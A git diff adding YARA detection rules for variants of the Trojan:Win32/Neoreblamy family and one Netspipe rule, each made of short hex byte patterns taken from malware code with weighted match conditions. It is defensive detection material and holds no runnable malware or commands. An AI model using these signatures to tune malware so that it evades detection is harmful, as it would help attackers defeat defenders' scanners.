b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJF_MTB.yar new file mode 100644 index 0000000000..046ad4133b --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJF_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 09 8b 55 e8 83 c2 01 89 55 e8 8b 45 e8 3b 45 e0 } //1 + $a_03_1 = {eb 0d 8b 45 f0 89 8c 85 ?? ?? ff ff ff 45 f0 39 7d f0 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJG_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJG_MTB.yar new file mode 100644 index 0000000000..b58a2a033b --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJG_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJG_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 88 40 89 45 88 83 7d 88 02 7d 10 8b 45 88 } //1 + $a_03_1 = {6a 04 58 6b c0 00 8b 84 05 ?? ?? ff ff 89 85 ?? ?? ff ff 6a 04 58 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJH_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJH_MTB.yar new file mode 100644 index 0000000000..c30597a0ab --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJH_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJH_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 80 40 89 45 80 83 7d 80 04 7d 10 8b 45 80 } //1 + $a_03_1 = {6a 04 58 6b c0 00 8b 44 05 b0 89 85 ?? ?? ff ff 6a 04 58 c1 e0 00 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJI_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJI_MTB.yar new file mode 100644 index 0000000000..3fbe83ee89 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJI_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJI_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 08 8b 45 d4 40 40 89 45 d4 83 7d d4 } //1 + $a_03_1 = {6a 04 58 d1 e0 8b 84 05 ?? ?? ff ff 40 6a 04 59 d1 e1 89 84 0d ?? ?? ff ff 6a 04 58 d1 e0 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJK_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJK_MTB.yar new file mode 100644 index 0000000000..dcdc03026d --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJK_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 fc 40 89 45 fc 83 7d fc 01 7d 0d 8b 45 fc } //1 + $a_03_1 = {8d 45 94 50 33 d2 42 33 c9 e8 ?? ?? ff ff 59 59 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJL_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJL_MTB.yar new file mode 100644 index 0000000000..678ef84fbf --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJL_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 f4 48 89 45 f4 83 7d f4 ff } //1 + $a_03_1 = {7c c9 46 81 fe ?? ?? 00 00 7c be 81 7c 24 0c } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJM_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJM_MTB.yar new file mode 100644 index 0000000000..400b16b876 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJM_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 9c 40 89 45 9c 83 7d 9c 02 } //1 + $a_01_1 = {6a 04 58 6b c0 00 83 bc 05 d8 fe ff ff 00 74 1c 6a 04 58 6b c0 00 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJN_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJN_MTB.yar new file mode 100644 index 0000000000..ab593ddb91 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJN_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJN_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 90 40 89 45 90 83 7d 90 01 7d 10 8b 45 90 } //1 + $a_03_1 = {eb 1b 6a 04 58 6b c0 03 8b 84 05 ?? ?? ff ff 48 6a 04 59 6b c9 03 89 84 0d ?? ?? ff ff 6a 04 58 6b c0 03 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJO_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJO_MTB.yar new file mode 100644 index 0000000000..fda724b4f3 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJO_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJO_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 80 40 89 45 80 83 7d 80 02 7d 10 8b 45 80 } //1 + $a_03_1 = {6a 04 58 6b c0 00 8b 84 05 ?? ?? ff ff 40 6a 04 59 6b c9 00 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJP_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJP_MTB.yar new file mode 100644 index 0000000000..e07f2e2fe2 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJP_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 a8 40 89 45 a8 83 7d a8 01 7d 0d 8b 45 a8 } //1 + $a_03_1 = {6a 04 58 6b c0 00 8b 8d ?? ?? ff ff 89 4c 05 dc } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJQ_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJQ_MTB.yar new file mode 100644 index 0000000000..6f4f19e6d4 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJQ_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 c4 40 89 45 c4 83 7d c4 03 7d 10 8b 45 c4 } //1 + $a_03_1 = {6a 04 58 c1 e0 00 8b 84 05 ?? ?? ff ff 40 6a 04 59 c1 e1 00 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJR_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJR_MTB.yar new file mode 100644 index 0000000000..90c1defc86 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJR_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 a0 40 89 45 a0 83 7d a0 04 7d 10 8b 45 a0 } //1 + $a_03_1 = {6a 04 58 6b c0 00 8b 84 05 ?? ?? ff ff 39 45 f0 75 0c } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJS_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJS_MTB.yar new file mode 100644 index 0000000000..f566659e05 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJS_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {8b 45 94 40 89 45 94 83 7d 94 03 7d 10 8b 45 94 } //1 + $a_03_1 = {33 c0 40 6b c0 00 0f b6 84 05 ?? ff ff ff 8d 44 00 02 39 45 d8 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJT_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJT_MTB.yar new file mode 100644 index 0000000000..01f1f1b7d3 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJT_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {07 8b 45 f4 40 89 45 f4 83 7d f4 01 7d 0d 8b 45 f4 } //1 + $a_01_1 = {eb 07 8b 45 f8 48 89 45 f8 83 7d f8 00 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJU_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJU_MTB.yar new file mode 100644 index 0000000000..2a136bad93 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Neoreblamy_NJU_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 d4 40 89 45 d4 83 7d d4 01 7d 10 8b 45 d4 } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJV_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJV_MTB.yar new file mode 100644 index 0000000000..b1e57a58cf --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJV_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_Win32_Neoreblamy_NJV_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {6a 04 58 6b c0 00 8b 84 05 ?? ?? ff ff 48 6a 04 59 } //2 + $a_01_1 = {eb 08 8b 45 f0 40 40 89 45 f0 83 7d f0 07 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} +rule Trojan_Win32_Neoreblamy_NJV_MTB_2{ + meta: + description = "Trojan:Win32/Neoreblamy.NJV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {6a 04 58 6b c0 00 8b 84 05 b4 fe ff ff 40 6a 04 59 6b c9 00 } //1 + $a_01_1 = {eb 07 8b 45 b8 40 89 45 b8 83 7d b8 03 7d 10 8b 45 b8 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJW_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJW_MTB.yar new file mode 100644 index 0000000000..d8cbbf6736 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJW_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJW_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 f4 40 89 45 f4 83 7d f4 02 7d 0d 8b 45 f4 } //2 + $a_03_1 = {8b 45 ec 8b 4d e8 83 c0 ff 89 45 ec 83 d1 ff 89 4d e8 e9 ?? ff ff ff 8b 45 ec 8b 4d e8 83 c0 ff 89 45 ec 83 d1 ff 89 4d e8 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJX_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJX_MTB.yar new file mode 100644 index 0000000000..5de560fb6e --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJX_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 dc 40 89 45 dc 83 7d dc 01 7d 0d 8b 45 dc } //2 + $a_03_1 = {6a 04 58 c1 e0 00 83 bc 05 ?? ff ff ff 00 75 16 6a 04 58 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJY_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJY_MTB.yar new file mode 100644 index 0000000000..7a1b651322 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJY_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJY_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 e4 40 89 45 e4 83 7d e4 04 7d 0d 8b 45 e4 } //2 + $a_01_1 = {74 12 8b f3 8b cb c1 fe 03 83 e1 07 b2 01 d2 e2 08 54 3e 0c 43 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJZ_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJZ_MTB.yar new file mode 100644 index 0000000000..47c5265999 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJZ_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 fc 40 89 45 fc 83 7d fc 03 7d 10 8b 45 fc } //2 + $a_03_1 = {6a 04 58 d1 e0 8b 84 05 ?? ff ff ff 40 6a 04 59 d1 e1 89 84 0d ?? ff ff ff 6a 04 58 d1 e0 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NLP_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NLP_MTB.yar new file mode 100644 index 0000000000..27fd1fb56b --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NLP_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Neoreblamy_NLP_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NLP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 9c 40 89 45 9c 83 7d 9c 02 7d 10 8b 45 } //2 + $a_03_1 = {6a 04 58 c1 e0 00 8b 84 05 ?? ?? ?? ff 6a 04 59 6b c9 00 } //1 + $a_03_2 = {19 6a 04 58 d1 e0 8b 84 05 ?? ?? ?? ff 48 6a 04 59 d1 e1 89 84 0d ?? ?? ff ff 6a 04 58 d1 e0 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMS_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMS_MTB.yar new file mode 100644 index 0000000000..4effb5ecf3 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMS_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Neoreblamy_NMS_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NMS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 d8 40 89 45 d8 83 7d d8 03 7d 10 8b 45 d8 } //1 + $a_03_1 = {eb 1b 6a 04 58 6b c0 00 8b 84 05 ?? ?? ff ff 48 6a 04 59 6b c9 00 } //1 + $a_03_2 = {33 c0 40 6b c0 00 0f b6 84 05 ?? ?? ff ff 8d 44 00 02 39 45 d0 75 15 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*1+(#a_03_2 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMT_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMT_MTB.yar new file mode 100644 index 0000000000..e961a08e12 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NMT_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NMT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 88 40 89 45 88 83 7d 88 26 } //1 + $a_03_1 = {33 c0 40 6b c0 00 0f b6 84 05 ?? ?? ff ff 8d 44 00 02 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMV_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMV_MTB.yar new file mode 100644 index 0000000000..efd48b63fd --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMV_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NMV_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NMV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 bc 40 89 45 bc 83 7d bc 02 7d 10 8b 45 bc } //1 + $a_03_1 = {eb 07 83 a5 ?? ?? ff ff 00 6a 04 58 c1 e0 00 83 bc 05 ?? ?? ff ff 00 74 1c 6a 04 58 6b c0 00 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMW_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMW_MTB.yar new file mode 100644 index 0000000000..c82f587bb9 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMW_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Neoreblamy_NMW_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NMW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {7c b4 8b 7c 24 10 8b 74 24 14 47 89 7c 24 10 } //1 + $a_01_1 = {7e 05 83 fe ff 75 07 8b 7d fc 4b 89 75 fc 85 db 79 d0 8b 45 14 46 } //1 + $a_03_2 = {55 8b ec 8b 45 08 56 8b f1 83 66 04 00 c7 06 ?? ?? ?? ?? c6 46 08 00 ff 30 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMY_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMY_MTB.yar new file mode 100644 index 0000000000..8560983637 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMY_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NMY_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NMY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 f0 40 89 45 f0 83 7d f0 03 7f 11 8b 45 f0 } //1 + $a_03_1 = {eb 1b 6a 04 58 6b c0 00 8b 84 05 ?? ?? ff ff 40 6a 04 59 6b c9 00 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMZ_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMZ_MTB.yar new file mode 100644 index 0000000000..6f8b7a16a4 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NMZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NMZ_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NMZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 fc 40 89 45 fc 83 7d fc 01 7d 0d 8b 45 fc } //1 + $a_03_1 = {eb e3 6a 04 58 6b c0 03 8b 84 05 ?? ?? ff ff 48 6a 04 59 6b c9 03 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_PGNE_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_PGNE_MTB.yar new file mode 100644 index 0000000000..6b57232bb2 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_PGNE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_PGNE_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.PGNE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {8b 45 f8 c7 84 85 ?? ?? ?? ?? ?? ?? ?? ?? ff 45 f8 39 4d f8 7c ea } //1 + $a_03_1 = {f7 d8 1b c0 40 2b 45 ?? f7 d8 1b c0 40 } //4 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*4) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_PGNL_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_PGNL_MTB.yar new file mode 100644 index 0000000000..d76aaf4921 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_PGNL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Neoreblamy_PGNL_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.PGNL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b 85 48 ff ff ff 40 89 85 48 ff ff ff 83 bd 48 ff ff ff ?? 7d ?? 8b 85 48 ff ff ff c7 84 85 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_PGN_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_PGN_MTB.yar new file mode 100644 index 0000000000..eb231204c6 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_PGN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Neoreblamy_PGN_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.PGN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {33 ff 83 65 ?? ?? 8b de 8b 75 ?? 8b cf d3 e3 8b c3 33 c6 99 52 50 ?? ?? ?? ?? ?? 46 81 fe ?? ?? ?? ?? 7c ?? 8b 75 ?? 47 81 ff ?? ?? ?? ?? 7c ?? 46 89 75 ?? 81 fe ?? ?? ?? ?? 7c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Netspipe/Trojan_Win32_Netspipe_A_dha.yar b/Trojan/Win32/Netspipe/Trojan_Win32_Netspipe_A_dha.yar new file mode 100644 index 0000000000..2b1581db1f --- /dev/null +++ b/Trojan/Win32/Netspipe/Trojan_Win32_Netspipe_A_dha.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Netspipe_A_dha{ + meta: + description = "Trojan:Win32/Netspipe.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 8b 09 48 8d 44 24 40 48 89 44 24 38 c7 44 24 30 f4 01 00 00 c7 44 24 28 00 20 00 00 c7 44 24 20 00 20 00 00 41 b9 01 00 00 00 45 33 c0 ba 03 00 00 40 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} 